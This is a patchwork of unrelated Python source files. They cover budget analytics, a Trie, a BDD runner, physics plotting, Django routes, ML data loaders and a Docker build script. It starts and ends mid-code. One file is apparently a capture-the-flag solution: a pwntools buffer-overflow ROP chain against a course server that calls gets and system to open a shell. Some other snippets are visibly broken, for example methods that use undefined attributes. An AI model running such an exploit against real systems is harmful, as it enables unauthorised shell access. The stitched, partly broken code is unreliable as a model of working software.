        with open(filedir,'r', encoding='utf-8') as data_file:
            data = load(data_file)
            return data

    except JSONDecodeError:
        print('\033[31m' + "Error: " + '\033[0m' + "Failed to read the data file")
        return False

class BlockAnalytics():
    """ Constructs two level tree hierarcy from totals collected from precollected data """
    def __init__(self, config_path, data_path, transaction_type, recipient_attribute_name, month):
        self.tree = []
        self.config = json_loader(config_path) # block config from config.csv
        self.raw_json_data = json_loader(data_path) # main json database

        self.transaction_type = transaction_type
        self.recipient_attribute_name = recipient_attribute_name
        self.month = str(month)

    def construct_tree(self, looped_var):
        """ Construct two level tree hierarcy from config """
        for level_1 in self.config:
            if level_1["sub"] is not None:
                sub_list = []
                for level_2 in level_1["sub"]:
                    sub_list.append([level_2["name"], self.collect_total_from_raw_data(level_2["path"]), None])

                self.tree.append([level_1["name"], sum(sub[1] for sub in sub_list), sub_list])

            else:
                self.tree.append([level_1["name"], self.collect_total_from_raw_data(level_1["path"]), None])

    def collect_total_from_raw_data(self, path):
        main_cat = False
        sub_cat = False
        beneficiary = False
        total = 0.0

        if(len(path) == 2):
            main_cat = path[0]
            sub_cat = path[1]

        elif(len(path) == 3):
            main_cat = path[0]
            sub_cat = path[1]
            beneficiary = path[2]

        try:
            for it in self.raw_json_data[self.transaction_type]["months"][self.month]:
                try:
                    if(len(path) == 3 and
                       it["main_cat"] == main_cat and
                       it["sub_cat"] == sub_cat and
                       it[self.recipient_attribute_name] == beneficiary):
                        total += float(it["amount"])
                    elif(len(path) == 2 and
                         it["main_cat"] == main_cat and
                         it["sub_cat"] == sub_cat):
                        total += float(it["amount"])
                except KeyError:
                    print("Error reading values from transaction:", it[self.recipient_attribute_name],"on", it["entry_date"])
        except TypeError:
            total = 0.0

        return total

    def collect_savings(self, month):
        savings_in = 0.0
        savings_out = 0.0

        if month == 0: # collect all months
            for month in range(1,13):
                for it in self.config["savings"]["paths"]:
                    savings_out += self.collect_total_from_raw_data(["expenses", "beneficiary"])
                    savings_in += self.collect_total_from_raw_data(["income", "payer"])
        else: # collect single month
            for it in self.config["savings"]["paths"]:
                savings_out += self.collect_total_from_raw_data(["expenses", "beneficiary"])
                savings_in += self.collect_total_from_raw_data(["income", "payer"])

        return savings_in, savings_out

    def calculate_savings(self, month):
        """ Calculate transactions between savings accounts """
        main_node = self.indexes.index(self.savings["main_node"])
        savings_node = self.indexes.index(self.savings["savings_node"])

        savings_in, savings_out = self.collect_savings(month)

        if savings_in > savings_out and self.transaction_type == "income":
            self.indexes.append("Säästötili")
            self.config.append([self.indexes.index("Säästötili"), (savings_in - savings_out), main_node])

        elif savings_in < savings_out and self.transaction_type == "expenses":
            self.indexes.append("Säästötili")
            self.config.append([savings_node, (savings_out - savings_in), self.indexes.index("Säästötili")])

            for it in self.config: # find savings node
                if it[2] == savings_node:
                    it[1] += (savings_out - savings_in) # add remaining savings to the savings node


from pwn import *

context.arch = 'amd64'
conn = remote('edu-ctf.csie.org', 10174)
pause()

pop_rdi = 0x0000000000400733

system_plt = 0x400520
gets_plt = 0x400530

evil = 0x601070

payload = flat(
    'a'*0x38,
    pop_rdi,
    evil,
    gets_plt,
    pop_rdi,
    evil,
    system_plt
)

conn.sendlineafter(':D', payload)
#conn.sendline('sh')

conn.interactive()


# Trie

from sys import stdin as ss

class Trie:
    trie = dict()  # '노드': '자식'

    def add(self, l: list):
        ptr = self.trie

        for string in l:
            if string not in ptr:
                ptr[string] = {}  # string 없다면 새 자식 노드 'string': {} 생성
            ptr = ptr[string]  # 자식 노드로 포인터 이동
        #ptr['*'] = True

    def get_tree(self):
        return self.trie

n = int(ss.readline())
arr = list()

for _ in range(n):
    arr.append(list(ss.readline().split())[1:])

arr.sort()

trie = Trie()
for i in arr:
    trie.add(i)

d = trie.get_tree()

def print_dict(d: dict, indent=0):
    for key, value in d.items():
        print('-' * indent + key)
        if value:
            print_dict(value, indent + 2)

print_dict(d, 0)


# encoding: utf-8

from __future__ import unicode_literals, print_function

import copy

from marrow.util.bunch import Bunch
from marrow.util.compat import exception

from functools import partial
from concurrent import futures

__all__ = ["Feature"]

log = __import__('logging').getLogger(__name__)

class Step(object):
    def __init__(self, fn, description, kind=None):
        super(Step, self).__init__()

        self.registry = Bunch(
                scenario = [],
                given = [],
                when = [],
                then = []
            )

        self.fn = fn
        self.description = description

        self.kind = kind if kind else self.__class__.__name__

    def __call__(self, environ=None):
        if environ is None:
            environ = Bunch()

        if self.fn:
            result = self.fn(environ)
            if result:
                environ = result

        return environ

    def fast(self, environ, workers):
        messages = []

        try:
            environ = self(environ)
        except:
            messages.extend(("    " * self.indentation + " " * (len(self.kind) + 2) + i) for i in exception().formatted.split("\n") if i)
            return messages

        # Execute steps.
        jobs = {}
        messages = []
        executor = futures.ThreadPoolExecutor(max_workers=workers)

        for stage in ('scenario', 'given', 'when', 'then'):
            for next in self.registry[stage]:
                job = executor.submit(next.fast, copy.deepcopy(environ), workers)
                jobs[job] = next

        # Wait for sub-steps to complete and process results as they become available..
        for job in futures.as_completed(jobs):
            step = jobs[job]
            messages.append("%s%s: %s%s." % ('    ' * step.indentation, step.kind, step.description[0].upper(), step.description[1:]))
            messages.extend(job.result())

        return messages

    def chain(self):
        chains = []

        for stage in ('scenario', 'given', 'when', 'then'):
            for next in self.registry[stage]:
                for chain in next.chain():
                    chains.append([self] + chain)

        if not chains:
            return [[self]]

        return chains

class Then(Step):
    indentation = 4

    def then(self, description):
        kind = ' And' if self.__class__ is Then else None

        def decorator(fn):
            obj = Then(fn, description, kind)
            self.registry.then.append(obj)
            return obj

        return decorator

class When(Then):
    indentation = 3

    def when(self, description):
        kind = ' And' if self.__class__ is When else None

        def decorator(fn):
            obj = When(fn, description, kind)
            self.registry.when.append(obj)
            return obj

        return decorator

class Given(When):
    indentation = 2

    def given(self, description):
        kind = '  And' if self.__class__ is Given else None

        def decorator(fn):
            obj = Given(fn, description, kind)
            self.registry.given.append(obj)
            return obj

        return decorator

class Scenario(Given):
    indentation = 1

    def scenario(self, description):
        kind = '     And' if self.__class__ is Scenario else None

        def decorator(fn):
            obj = Scenario(fn, description, kind)
            self.registry.scenario.append(obj)
            return obj

        return decorator

class Feature(Scenario):
    indentation = 0

class Suite(object):
    def __init__(self, prepost=None):
        self.features = []

        self.prepost = prepost

    def __call__(self, environ=None, workers=1, method='fast'):
        generator = None

        if environ is None:
            environ = Bunch()

        if self.prepost:
            generator = self.prepost(environ)
            generator.next()

        method = getattr(self, method)
        method(environ, workers)

        if generator:
            try:
                generator.next()
            except StopIteration:
                pass

    def feature(self, description):
        def decorator(fn):
            obj = Feature(fn, description)
            self.features.append(obj)
            return obj

        return decorator

    def fast(self, environ, workers):
        """Process each step as it is encountered.

        This has the issue that if what you are testing involves session state
        this runner may perform mutually exclusive operations in parallel as
        each step is only run once.  (E.g. nested actions operate on the same
        session.)

        This can be visualized thus: (each is run once)

        Feature A
            When A
                Then A
                Then B
            When B
                Then C
                Then D
        Feature B
            ...

        Each indentation level is executed in parallel.
        """

        # Execute features.
        jobs = {}
        executor = futures.ThreadPoolExecutor(max_workers=workers)

        for feature in self.features:
            job = executor.submit(feature.fast, environ, workers)
            jobs[job] = feature

        # Wait for sub-steps to complete and process results as they become available..
        for job in futures.as_completed(jobs):
            feature = jobs[job]
            print("%s%s: %s%s." % ("    " * feature.indentation, feature.kind, feature.description[0].upper(), feature.description[1:]))

            messages = job.result()

            print("\n".join(messages), end="\n\n")

    def chain(self, environ, workers):
        """Process steps top-to-bottom in a less efficient, but safer way.

        This builds "chains" of steps, specifically every combination from
        the Feature through Then.  This can be visualized thus:

        Feature A, When A, Then A
        Feature A, When A, Then B
        Feature A, When B, Then C
        Feature A, When B, Then D
        Feature B, ...

        Chains are executed in parallel.  This means, however, that if an
        intermediary step in the chain has an exception, the exception will
        be repeated for each chain!
        """

        jobs = []
        executor = futures.ThreadPoolExecutor(max_workers=workers)

        for feature in self.features:
            chains = feature.chain()

            # Execute features.
            for chain in chains:
                job = executor.submit(self.chain_, chain, copy.deepcopy(environ))
                jobs.append(job)

        # Wait for sub-steps to complete and process results as they become available..
        for job in futures.as_completed(jobs):
            messages = job.result()

            print("\n".join(messages), end="\n\n")

    def chain_(self, chain, environ):
        messages = []

        for fn in chain:
            messages.append("%s%s: %s%s." % ("    " * fn.indentation, fn.kind, fn.description[0].upper(), fn.description[1:]))
            try:
                environ = fn(environ)
            except:
                messages.extend(("    " * fn.indentation + " " * (len(fn.kind) + 2) + i) for i in exception().formatted.split("\n") if i)
                return messages

        return messages

    @classmethod
    def decorated(cls, fn):
        return cls(fn)


#initialize variables
L = 10
dx = 0.01
x = np.arange(0,L,dx)
t = np.arange(0,100)
psi = qw.pib_superposition(x, t, L,1,2)
p_array = np.zeros(len(t))
x_array = np.zeros(len(t))
# iterate over t
for indt in range(len(t)):
    # calculate operators and evaluate expectation values
    psi_x = psi[:,indt]
    p_psi = qw.momentum_operator(psi_x, dx)
    p_array[indt]=qw.eval_expectation(x,psi_x,p_psi)
    x_array[indt]=qw.eval_expectation(x,psi_x,x*psi_x)
# plot momentum
plt.plot(t, p_array)
plt.xlabel('time')
plt.ylabel('<p>')
plt.title('Expectation of p vs. time')
plt.show()
# plot position
plt.clf()
plt.plot(t, x_array)
plt.xlabel('time')
plt.ylabel('<x>')
plt.title('Expectation of x vs. time')
plt.show()

4.Postulates of QM/Observables and expectation values.py


strHour, strMin = input().split()
hour = int(strHour)
min = int(strMin)
duration = int(input())

i = 0
while i < duration:
    min += 1
    if (min == 60):
        min = 0
        hour += 1
        if (hour == 24):
            hour = 0
    i += 1

print("%d %d" % (hour, min))


import os.path

# Abrir archivo de respaldo y consultar fecha y nombre
def getDate():
    # Almacenar en array data [date, name]
    data = []
    # Verificar que existe el archivo de respaldo
    path = "back.txt"
    if(os.path.isfile(path)):
        # Abrir archivo y recorrer sus dos lineas para agregarlas a data
        f = open("./back.txt")
        for line in f:
            # Eliminar los saltos de lineas.
            data.append(str(line).replace("\n",""))
        # Cerrar f y retornar data con valores.
        f.close()
    return data

# Actualizar datos de respaldo con nueva fecha y nuevo nombre
# variable date en formato ddmmaaaa
def newDay(date):
    # Generar nombre del archivo a trabajar.
    name = "testSensores_" + str(date) + ".csv"
    # Abrir archivo de respaldo y actualizar informacion
    f = open("back.txt","w")
    f.write(str(date) + "\n")
    f.write(name + "\n")
    # Cerrar archivo y retornar nombre para almacenar sensores
    f.close()
    return name


start_hr = int(input())
arrive_hr = int(input())
arrive_min = int(input())
day = str(input())
bonus = 0

if arrive_hr + 1 <= start_hr:
    bonus = 1.5
elif arrive_hr == start_hr and arrive_min <= 30:
    bonus = 1
else:
    bonus = 0.5

if day == "Monday" or day=="Wednesday" or day=="Friday":
    bonus += 0.6
elif day == "Tuesday" or day=="Thursday" or day=="Saturday":
    bonus += 0.8
elif day == "Sunday":
    bonus += 2

bonus = "%.2f" % bonus

print(bonus)


def checkIfPossible(answer):
    for x,y,a in answer:
        if a==0:
            if y==0:
                continue
            elif [x,y,1] in answer or [x-1,y,1] in answer:
                continue
            elif [x,y-1,0] in answer:
                continue
            return False
        else:
            if [x,y-1,0] in answer or [x+1,y-1,0] in answer:
                continue
            elif [x-1,y,1] in answer and [x+1,y,1] in answer:
                continue
            return False
    return True

def solution(n, build_frame):
    answer = []

    for x,y,a,b in build_frame:
      print(x,y,a,b)
      if b==0:
          answer.remove([x,y,a])
          if not checkIfPossible(answer):
              answer.append([x,y,a])
      if b==1:
        answer.append([x,y,a])
        if not checkIfPossible(answer):
            answer.remove([x,y,a])
    answer.sort()
    return answer

build_frame=[]
n=0
with open("input12.txt","r") as file:
  n=int(file.readline())
  index=int(file.readline())
  for _ in range(index):
    build_frame.append(list(map(int,file.readline().split())))

print(solution(n,build_frame))


from django.urls import path
from . import views

urlpatterns = [
    path('infirmiere/', views.infirmiereApi),
    path('infirmiere/([0-9]+)/', views.infirmiereApi),

    path('soin/', views.ShowAll, name='soin-list'),
    path('soin-detail/<int:pk>/', views.ViewSoin, name='soin-detail'),
    path('soin-create/', views.CreateSoin, name='soin-create'),
    path('soin-update/<int:pk>/', views.updateSoin, name='soin-update'),
    path('soin-delete/<int:pk>/', views.deleteSoin, name='soin-delete'),
    #path('soin/', views.apiSoins),
    #path('soin/([0-9]+)', views.apiSoins)

    path('home/', views.home, name="home")
]


# @Time    : 4/25/23 9:33 AM
# @Author  : Zhou-Lin-yong
# @File    : Image_transform.py
# @SoftWare: PyCharm
from imutils import paths
import read_caltech101
from collections import Counter
from sklearn.model_selection import train_test_split
from torchvision.transforms import transforms
from torch.utils.data import DataLoader, Dataset

image_paths = list(paths.list_images('./caltech101_data/101_ObjectCategories'))
data, name2label, labels = read_caltech101.data_processor(image_paths, size=65)
print(Counter(labels))
# Counter({44: 800, 89: 798, 29: 435, 82: 435, 30: 239, 49: 200, 69: 128, 4: 123, 17: 114, 83: 107, 26: 100…………})

train_transform = transforms.Compose(
    [transforms.ToPILImage(),
     transforms.ToTensor(),
     transforms.Normalize(mean=[0.485, 0.456, 0.406],
                          std=[0.229, 0.224, 0.225])])
val_transform = transforms.Compose(
    [transforms.ToPILImage(),
     transforms.ToTensor(),
     transforms.Normalize(mean=[0.485, 0.456, 0.406],
                          std=[0.229, 0.224, 0.225])])

(X, x_val, Y, y_val) = train_test_split(data, labels,
                                        test_size=0.2,
                                        stratify=labels,
                                        random_state=42)
(x_train, x_test, y_train, y_test) = train_test_split(X, Y,
                                                      test_size=0.25,
                                                      random_state=42)
print(f"x_train examples: {x_train.shape}\nx_test examples: {x_test.shape}\nx_val examples: {x_val.shape}")

class ImageDataset(Dataset):
    def __init__(self, images, labels=None, transforms=None):
        self.X = images
        self.y = labels
        self.transforms = transforms

    def __len__(self):
        return (len(self.X))

    def __getitem__(self, i):
        data = self.X[i][:]

        if self.transforms:
            data = self.transforms(data)

        if self.y is not None:
            return (data, self.y[i])
        else:
            return data

def data_loader(batch_size=64):
    train_data = ImageDataset(x_train, y_train, train_transform)
    val_data = ImageDataset(x_val, y_val, val_transform)
    test_data = ImageDataset(x_test, y_test, val_transform)

    train_loader = DataLoader(train_data, batch_size=batch_size, shuffle=True)
    val_loader = DataLoader(val_data, batch_size=batch_size, shuffle=True)
    test_loader = DataLoader(test_data, batch_size=batch_size, shuffle=False)

    return train_loader, val_loader, test_loader


import matplotlib.pyplot as plt
import pandas as pd
import seaborn as sns
from pandas.plotting import register_matplotlib_converters
register_matplotlib_converters()

# Import data (Make sure to parse dates. Consider setting index column to 'date'.)
df = pd.read_csv('fcc-forum-pageviews.csv', index_col = 'date')

df.index = pd.to_datetime(df.index)

# Clean data
df = df.loc[(df['value'] >= df['value'].quantile(0.025)) & (df['value'] <= df['value'].quantile(0.975))]

def draw_line_plot():
    # Draw line plot
    fig, ax1 = plt.subplots()

    df.plot.line(ax=ax1, legend = False)
    ax1.set_title('Daily freeCodeCamp Forum Page Views 5/2016-12/2019')
    ax1.set(xlabel = 'Date', ylabel = 'Page Views')

    # Save image and return fig (don't change this part)
    fig.savefig('line_plot.png')
    return fig

def draw_bar_plot():
    # Copy and modify data for monthly bar plot
    df_bar = df.copy()
    df_bar.reset_index(inplace=True)
    df_bar['Years'] = [d.year for d in df_bar.date]
    #df_bar['Months'] = [d.strftime('%B') for d in df_bar.date]
    df_bar['Months'] = [d.strftime('%m') for d in df_bar.date]

    #df_bar = df_bar.groupby(['Months', 'Years'], as_index = False).mean()

    df_bar = df_bar.groupby(['Years', 'Months']).mean()

    df_bar = df_bar.unstack()

    months = ['January', 'February', 'March', 'April','May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']

    # Draw bar plot

    '''fig = sns.catplot(x = 'Years', y = 'value', hue = 'Months', data= df_bar, kind = 'bar', hue_order = ['January', 'February', 'March', 'April','May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'])
    fig.set_axis_labels("Years", "Average Page Views")'''

    fig, ax = plt.subplots()

    df_bar.plot.bar(ax=ax)

    ax.set(xlabel = 'Years', ylabel = 'Average Page Views')
    ax.legend(labels=months, title = 'Months')

    # Save image and return fig (don't change this part)
    fig.savefig('bar_plot.png')
    return fig

def draw_box_plot():
    # Prepare data for box plots (this part is done!)
    df_box = df.copy()
    df_box.reset_index(inplace=True)
    df_box['Year'] = [d.year for d in df_box.date]
    df_box['Month'] = [d.strftime('%b') for d in df_box.date]

    # Draw box plots (using Seaborn)

    fig, (ax1, ax2) = plt.subplots(1, 2)

    sns.boxplot(x=df_box['Year'], y=df_box['value'], ax=ax1)

    sns.boxplot(x=df_box['Month'], y=df_box['value'], order = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], ax=ax2)

    ax1.set(ylabel = 'Page Views', title = 'Year-wise Box Plot (Trend)')
    ax2.set(ylabel = 'Page Views', title= 'Month-wise Box Plot (Seasonality)')

    # Save image and return fig (don't change this part)
    fig.savefig('box_plot.png')
    return fig


import urllib2
import simplejson

from django.core.management.base import BaseCommand, CommandError
from django.conf import settings

from accounts.models import Account
from accounts.models import Referral
from accounts.models import MailingList

class Command(BaseCommand):
    help = 'Update database with server data'

    def handle(self, *args, **options):
        """
        Get JSON response from server, parse it and save to the database
        """
        #create url with headers and get response from request
        req = urllib2.Request(
            "%s?username=%s&api_key=%s" %
            (settings.NL_SETTINGS['url'], settings.NL_SETTINGS['username'],
             settings.NL_SETTINGS['api_key'])
            )

        req.add_header('Accept','application/json')
        req.add_header('Content-Type','application/json')

        opener = urllib2.build_opener()
        f = opener.open(req)
        server_data = simplejson.load(f)

        #data from server contents meta information and objects
        for object_data in server_data['objects']:
            referral = Referral()
            referral.name = object_data['tr_referral']['name']
            referral.resource_uri = object_data['tr_referral']['resource_uri']
            referral.save()

            account = Account()
            account.birth_date = object_data['birth_date']
            account.city = object_data['city']
            account.email = object_data['email']
            account.first_name = object_data['first_name']
            account.gender = object_data['gender']
            account.last_name = object_data['last_name']
            account.lead = object_data['lead']
            account.last_name = object_data['last_name']
            account.phone = object_data['phone']
            account.resource_uri = object_data['resource_uri']
            account.street_number = object_data['street_number']
            account.tr_input_method = object_data['tr_input_method']
            account.ip_address = object_data['ip_address']
            account.tr_language = object_data['tr_language']
            account.utm_campaign = object_data['utm_campaign']
            account.utm_medium = object_data['utm_medium']
            account.utm_medium = object_data['utm_source']
            account.utm_medium = object_data['zipcode']
            account.tr_referral = referral
            account.save_from_server()

            for mailing_list_data in object_data['mailing_lists']:
                mailing_list = MailingList()
                mailing_list.name = mailing_list_data['name']
                mailing_list.resource_uri = mailing_list_data['resource_uri']
                mailing_list.save()
                account.mailing_lists.add(mailing_list)

            account.save_from_server()


print()
# The following block of code shows a nested dictionary containing data on three people.
people = {
    'mramsay': {
        'firstname': 'Michael',
        'lastname': 'Ramsay',
        'age': '17',
        'city': 'Bowie',
        },
    'dramsay': {
        'firstname': 'Danielle',
        'lastname': 'Ramsay',
        'age': '23',
        'city': 'Paris',
        },
    'eramsay': {
        'firstname': 'Ernestine',
        'lastname': 'Ramsay',
        'age': '56',
        'city': 'Bowie',
        },
    }
# The following block of code iterates through data on each person, then prints that data on a new line for each person.
for name, people_info in people.items():
    print("\nUsername: " + name)
    full_name = people_info['firstname'] + " " + people_info['lastname']
    age = people_info['age']
    city = people_info['city']
    print("\tFull Name: " + full_name.title())
    print("\tAge: " + age.title())
    print("\tCity: " + city.title())
print()


import requests
from bs4 import BeautifulSoup

def time_temperature(location, leave_time, home_time):
    url = f"https://search.naver.com/search.naver?where=nexearch&sm=top_hty&fbm=0&ie=utf8&query={location}+날씨정보"
    html = requests.get(url)
    soup = BeautifulSoup(html.text, 'html.parser')

    data1 = soup.find('div', {'class':'graph_inner _hourly_weather'})
    data2 = data1.find_all('dt', attrs={'class': 'time'})
    data3 = data1.find_all('span', attrs={'class': 'num'})

    a = []
    b = []

    for d in data2: # 시간 정보
        try:
            t = d.get_text()[:2]
            a.append(int(t))
        except:
            a.append(24)

    for d in data3: # 기온 정보
            t = list(d.get_text())
            t = t[:len(t)-1]
            b.append(int(''.join(t)))

    temp = [0] * len(a) # index: 시간, value: 기온

    for i in range(len(a)):
        temp[a[i]] = b[i]
        if a[i] == home_time: break

    return temp[leave_time:home_time+1] # 출발 시간에서 귀가 시간까지 기온 return


import argparse, os
import numpy as np
import pandas as pd

import tensorflow as tf
import tensorflow.keras as keras
from tensorflow.keras.layers import Input, Dense, Dropout
from tensorflow.keras.models import Model
from tensorflow.keras import regularizers
from tensorflow.keras.utils import multi_gpu_model

if __name__ == '__main__':

    parser = argparse.ArgumentParser()

    parser.add_argument('--epochs', type=int, default=20)
    parser.add_argument('--learning-rate', type=float, default=0.001)
    parser.add_argument('--batch-size', type=int, default=128)
    parser.add_argument('--activation', type=str, default="relu")
    parser.add_argument('--dropout', type=float, default=0.0)
    parser.add_argument('--gpu-count', type=int, default=os.environ['SM_NUM_GPUS'])
    parser.add_argument('--model-dir', type=str, default=os.environ['SM_MODEL_DIR'])
    parser.add_argument('--training', type=str, default=os.environ['SM_CHANNEL_TRAINING'])
    parser.add_argument('--validation', type=str, default=os.environ['SM_CHANNEL_VALIDATION'])
    args, _ = parser.parse_known_args()

    # read in data
    x_train = np.load(os.path.join(args.training, 'training.npz'))['train']
    x_val = np.load(os.path.join(args.validation, 'validation.npz'))['validation']

    # build network
    input_dim = x_train.shape[1]

    input_layer = Input(shape=(input_dim, ))

    #encoder = Dense(200, activation=args.activation,activity_regularizer=regularizers.l1(args.learning_rate))(input_layer)
    encoder = Dense(200, activation=args.activation)(input_layer)
    encoder = Dense(50, activation=args.activation)(encoder)
    encoder = Dense(50, activation=args.activation)(encoder)
    encoder = Dropout(args.dropout)(encoder)
    encoder = Dense(10, activation=args.activation)(encoder)
    encoder = Dropout(args.dropout)(encoder)
    decoder = Dense(50, activation=args.activation)(encoder)
    decoder = Dense(50, activation=args.activation)(decoder)
    decoder = Dense(200, activation=args.activation)(decoder)
    decoder = Dense(input_dim, activation=None)(decoder)

    autoencoder = Model(inputs=input_layer, outputs=decoder)
    print(autoencoder.summary())

    if args.gpu_count > 1:
        autoencoder = multi_gpu_model(autoencoder, gpus=args.gpu_count)

    # compile and fit
    autoencoder.compile(optimizer='adam', loss='mean_squared_error')

    autoencoder.fit(x_train, x_train,
                    epochs=args.epochs,
                    batch_size=args.batch_size,
                    shuffle=True,
                    verbose=2,
                    validation_data=(x_val, x_val))

    score = autoencoder.evaluate(x_val, x_val,verbose=0)
    print('Validation loss    :', score)

    # Save the trained model:
    os.makedirs(os.path.join(args.model_dir, 'model/1'), exist_ok=True)
    autoencoder.save(os.path.join(args.model_dir, 'model/1'))


import os
import os.path

import da
import da.constants
import da.lwc.run
import da.monitor.console_reporter
import da.monitor.html_reporter
import da.util

# =============================================================================
class BuildMonitor:
    """
    Class for build monitoring and error reporting.

    """

    # -------------------------------------------------------------------------
    def __init__(self, cfg):
        """
        Return an initialised instance of the BuildMonitor class.

        """
        dirpath_branch_log    = cfg['paths']['dirpath_branch_log']
        filepath_build_report = os.path.join(dirpath_branch_log, 'index.html')
        url_build_report      = 'file://{filepath}'.format(
                                            filepath = filepath_build_report)

        da.util.ensure_dir_exists(dirpath_branch_log)
        self.dirpath_branch_log    = dirpath_branch_log
        self.filepath_build_report = filepath_build_report
        self.url_build_report      = url_build_report
        self.cfg                   = cfg
        self.nonconformity_list    = []
        self.html_reporter         = da.monitor.html_reporter.coro(
                                                        filepath_build_report,
                                                        dirpath_branch_log)
        self.console_reporter      = da.monitor.console_reporter.coro(
                                                        cfg,
                                                        url_build_report)

    # -------------------------------------------------------------------------
    def report_progress(self, build_unit):
        """
        Method to handle build monitoring and progress reporting.

        """
        self.html_reporter.send(build_unit)
        self.console_reporter.send(build_unit)

    # -------------------------------------------------------------------------
    # Pylint error R0913 (Too many arguments) has
    # been disabled. This function is called in
    # response to nonconformities that originate
    # from a wide range of tools and checkers;
    # which forces us to accomodate a large number
    # of different parameters. At the same time we
    # want each call to be no more verbose than
    # is absolutely necessary. We achieve this
    # design goal by using a number of optional
    # named parameters, which unfortunately takes
    # us over the upper limit imposed by the style
    # guide.
    #
    def report_nonconformity(                           # pylint: disable=R0913
                        self, tool, msg_id, msg, path, line = 1, col = 0):
        """
        Send a nonconformity data structure to the build monitor.

        This method is responsible for deciding how
        the build process should respond to errors,
        and enables us to configure either a fail-
        fast policy (the first error terminates the
        build) or a robust policy (Wait until either
        the end of the current build phase or the
        end of the entire build before failing).

        If the system has been configured with a
        fail-fast policy, then the first error will
        terminate the build. Otherwise, the errors
        are accumulated in a list until the appropriate
        time for them to be collectively processed.

        """
        # Translate isolation-dir paths back to their original locations.
        path = os.path.normpath(path).replace(
                                    self.cfg['paths']['dirpath_isolated_src'],
                                    self.cfg['paths']['dirpath_lwc_root'])

        if os.path.isdir(path):
            line = None
            col  = None

        elif os.path.isfile(path):
            line = line if line else 1
            if line == -1:
                with open(path) as hfile:
                    line = sum(1 for line_of_text in hfile)

        self.nonconformity_list.append({'tool':   tool,
                                        'msg_id': msg_id,
                                        'msg':    msg,
                                        'path':   path,
                                        'line':   line,
                                        'col':    col})
        if self.cfg['options']['errors_abort_immediately']:
            _log_and_abort(self.cfg, self.nonconformity_list)

    # -------------------------------------------------------------------------
    def notify_build_end(self):
        """
        Log accumulated errors and abort if any errors have been seen.

        """
        self.html_reporter.send(da.constants.BUILD_COMPLETED)
        self.console_reporter.send(da.constants.BUILD_COMPLETED)
        if self.nonconformity_list:
            _log_and_abort(self.cfg, self.nonconformity_list)

# -----------------------------------------------------------------------------
def _log_and_abort(cfg, nonconformity_list):
    """
    Log every nonconformity in the list and abort execution.

    """
    da.monitor.console_reporter.print_all_nonconformities(nonconformity_list)

    if os.path.isfile(nonconformity_list[0]['path']):
            da.lwc.run.subl(
                dirpath_lwc_root = cfg['paths']['dirpath_lwc_root'],
                filepath         = nonconformity_list[0]['path'],
                line_number      = nonconformity_list[0]['line'])
    raise da.exception.AbortSilently()


from os import path
from git import Repo
import subprocess
import git
import sys

repo_path = "C:/Users/lava/lavadocker"
repository = Repo.init(repo_path)
AUTH="auth_creds for accesing nugget/packages/artifactory/libraries"
REGISTRY="Library/nugget/package management tool url"
branch = "test3"

repo = git.Repo(repo_path)
print("GIT init completed")

print("clone started")
#git.Git(repo_path).clone("https://github.com/xxxxxx.git")
print("clone completed")

print("checkout started")
repo.git.checkout(branch)
print("checkout completed")

print("pull started")
repo = git.Repo('C:/Users/lava/lavadocker')
origin = repo.remote(name='origin')
origin.pull()
print("pull completed")

#git.cmd.Git().pull('https://github.com/xxxxx.git','main')
########## Clonning teh github repo ##########
# repo = git.Repo('/Users/lava/lavadocker')
# repo.remotes.upstream.pull('master')
#git.Repo.clone_from('https://github.com/xxxxxx.git', '/Users/lava/lavadocker')

#print("Clonned the repo from GitHub")
# Git Pull #

# repo = git.Repo('reactauth')
# origin = repo.remote(name='origin')
# origin.pull()

############## Docker image creation ####################
branch = "cd /Users/lava/lavadocker && git branch"
subprocess.call(branch, shell=True)

############## To Pass auth and registry as arguments ex: python3 gitclone.py <authtoken> <registry>/ ####################

# docker_build = "docker build --no-cache --build-arg ARTIFACTORY_AUTH="+sys.argv[1]+" --build-arg REGISTRY="+sys.argv[2]+" C:/Users/lava/lavadocker"

############## To build normal ################################
# docker_build = "docker build --no-cache C:/Users/lava/lavadocker"
# subprocess.call(docker_build, shell=True)

############## To Pass auth and registry as variables in python script ################################

docker_build = "docker build -t v1 --no-cache --build-arg ARTIFACTORY_AUTH="+AUTH+" --build-arg REGISTRY="+REGISTRY+" C:/Users/lava/lavadocker"
subprocess.call(docker_build, shell=True)

docker_images = "docker images"
subprocess.call(docker_images, shell=True)

docker_push = "docker push myregistry.azurecr.io/myimage:v1"
subprocess.call(docker_push, shell=True)


from src.core.youtube.youtube_video import YouTubeVideo
from youtubesearchpython import VideosSearch

def search_for_videos(search_string):
    try:
        result = VideosSearch(search_string, limit=10).result().get('result')
    except Exception as e:
        print(e)
        raise Exception(e)

    return [
        YouTubeVideo(
            id=data['id'],
            url=data['link'],
            thumbnail_url=data['thumbnails'][0]['url'],
            title=data['title'],
            views=int((data['viewCount']['text']).replace(' views', '').replace(',', '')),
            views_extense=data['viewCount']['short'],
            duration=data['duration']
        ) for data in result]


from unittest import TestCase

import numpy as np

from src.Environment import Environment
from src.algorithms import expected_profit, step1

class TestStep1(TestCase):
    def test_step1_bruteforce(self):
        prices = np.linspace(1, 100, 100)
        bids = np.linspace(1, 100, 100)
        rng = np.random.default_rng()
        n_envs = 100

        for i in range(n_envs):
            print(f'Beginning step {i+1}/{n_envs}')
            # some seeds fail due to non unique optimal price (probably floating point rounding problems)
            # failing seed 1772628089

            seed = rng.integers(0, 2**32)
            env = Environment(seed)

            bf_p, bf_b, bf_profit = (prices[0], bids[0], expected_profit(env, prices[0], bids[0]))
            for p in prices:
                for b in bids:
                    profit = expected_profit(env, p, b)
                    if profit > bf_profit:
                        bf_p, bf_b, bf_profit = p, b, profit

            opt_p, opt_b, opt_profit = step1(env, prices, bids)

            if opt_p != bf_p or opt_b != bf_b:
                print(f'Failed with seed {env.get_seed()}')
                self.fail()

            print(f'Finished step {i+1}/{n_envs}')


'''model.py'''
import torch
import torch.nn as nn
import torch.optim as optim
import torch.nn.functional as F
import os

class Linear_QNet(nn.Module):
    '''Linear Q Network'''
    def __init__(self, input_size, hidden_size1, output_size):
        '''Initializes the network'''
        super().__init__() # super class
        self.linear1 = nn.Linear(input_size, hidden_size1) # input layer
        self.linear2 = nn.Linear(hidden_size1, output_size)

    def forward(self, x):
        '''Does the forward pass'''
        x = F.relu(self.linear1(x))
        x = self.linear2(x)
        return x

    def save(self, file_name='model.pth'):
        '''Saves the model'''
        model_folder_path = './model'
